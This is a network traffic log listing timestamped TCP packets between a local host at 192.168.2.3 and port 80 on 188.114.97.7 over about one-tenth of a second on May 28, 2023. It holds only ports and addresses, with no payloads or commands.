May 28, 2023 10:42:53.624537945 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.624576092 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.624596119 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.624620914 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.666431904 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.666531086 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.666577101 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.666621923 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.666656971 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.666661024 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.666696072 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.666708946 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.666754961 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.666766882 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.666802883 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.666850090 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.666888952 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.666919947 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.666937113 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.666941881 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.666984081 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667021990 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667078018 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667094946 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.667125940 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667129993 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.667174101 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667212963 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667258978 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667272091 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.667295933 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667323112 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.667342901 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667387962 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667434931 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667445898 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.667480946 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667490005 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.667521954 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667567968 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667613029 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667629004 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.667659998 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667670965 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.667700052 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667742968 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667787075 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667819977 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667853117 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667891026 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667907000 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.667933941 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.667936087 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.667983055 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668026924 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668045044 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.668071985 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668087006 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.668118954 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668159962 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668204069 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668217897 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.668248892 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668256044 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.668320894 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668364048 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668404102 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668428898 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.668447971 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.668448925 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668494940 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668540001 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668584108 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668601990 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.668631077 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668632984 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.668675900 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668720007 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668762922 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668807030 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668808937 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.668808937 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.668842077 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668886900 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668930054 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668951035 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.668975115 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.668992996 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.669019938 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669064045 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669107914 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669120073 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.669152975 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669198990 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.669199944 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669245958 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669289112 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669305086 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.669325113 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669344902 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.669370890 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669414997 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669459105 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669471025 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.669506073 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669514894 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.669555902 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669600964 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669644117 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669656038 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.669691086 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669698000 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.669744968 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669787884 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669822931 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.669842958 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.669873953 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.710200071 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710273027 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710321903 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710366011 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710402012 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.710406065 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710454941 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710460901 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.710503101 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710511923 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.710542917 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710588932 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710635900 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710664034 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.710681915 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710689068 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.710731030 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710777044 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710819006 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710838079 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.710866928 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710880995 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.710905075 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710951090 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.710999012 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711013079 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.711047888 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711052895 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.711095095 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711142063 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711189032 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711196899 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.711236000 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711282969 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711306095 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.711328983 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711333036 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.711376905 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711424112 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711468935 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711487055 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.711519957 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711530924 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.711572886 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711620092 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711666107 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711709976 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.711710930 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711750031 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.711760044 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711806059 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711813927 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.711853027 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711898088 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711914062 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.711944103 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.711990118 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712023973 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.712034941 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712080956 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712095022 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.712126970 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712176085 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712219000 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712238073 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.712287903 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712292910 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.712341070 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712399960 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712445974 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712470055 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.712491035 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.712492943 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712507010 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.712532043 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712575912 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712594986 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.712620974 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712665081 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712708950 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712718964 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.712755919 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712759972 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.712800980 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712881088 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712925911 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712945938 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.712973118 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.712986946 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.713021040 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713066101 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713097095 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.713110924 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713161945 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713208914 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713227987 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.713252068 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713267088 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.713298082 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713345051 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713391066 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713404894 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.713438034 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713447094 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.713484049 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713531971 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713578939 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713592052 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.713624954 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713637114 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.713673115 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713718891 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713763952 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713779926 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.713809967 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713819027 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.713856936 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713903904 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713948011 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713960886 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.713994026 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.713998079 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.714040041 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714083910 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714097023 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.714128971 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714175940 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714212894 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.714222908 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714268923 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714281082 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.714313984 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714359045 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714370966 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.714406967 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714451075 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714494944 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714512110 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.714540005 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714550018 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.714586020 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714631081 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714673996 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714696884 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.714720011 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714725018 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.714762926 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714807987 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714853048 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714865923 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.714898109 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714904070 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.714943886 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.714989901 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715034008 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715065956 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.715080023 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715092897 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.715126991 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715173960 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715220928 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715229034 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.715265989 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715272903 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.715311050 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715357065 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715368986 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.715401888 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715445995 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715482950 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.715490103 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715538025 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715559959 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.715584040 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715627909 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715673923 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715686083 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.715719938 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715728045 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.715764999 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715811014 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715857029 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715872049 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.715903044 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715914965 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.715949059 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.715993881 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.716038942 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.716049910 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.716085911 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.716118097 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.716130972 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.716178894 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.716214895 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.716226101 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.716289997 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.716334105 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.716353893 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.716381073 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.716397047 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.716428041 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.716464043 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.716547012 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.753886938 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.753957987 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754004955 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754007101 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.754051924 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754098892 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754123926 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.754147053 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754172087 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.754196882 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754244089 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754290104 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754318953 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.754336119 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754379988 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754389048 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.754426003 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754471064 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754492044 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.754518032 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754543066 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.754563093 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754609108 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754656076 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754678011 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.754703045 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.754710913 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.754749060 CEST	80	49722	188.114.97.7	192.168.2.3
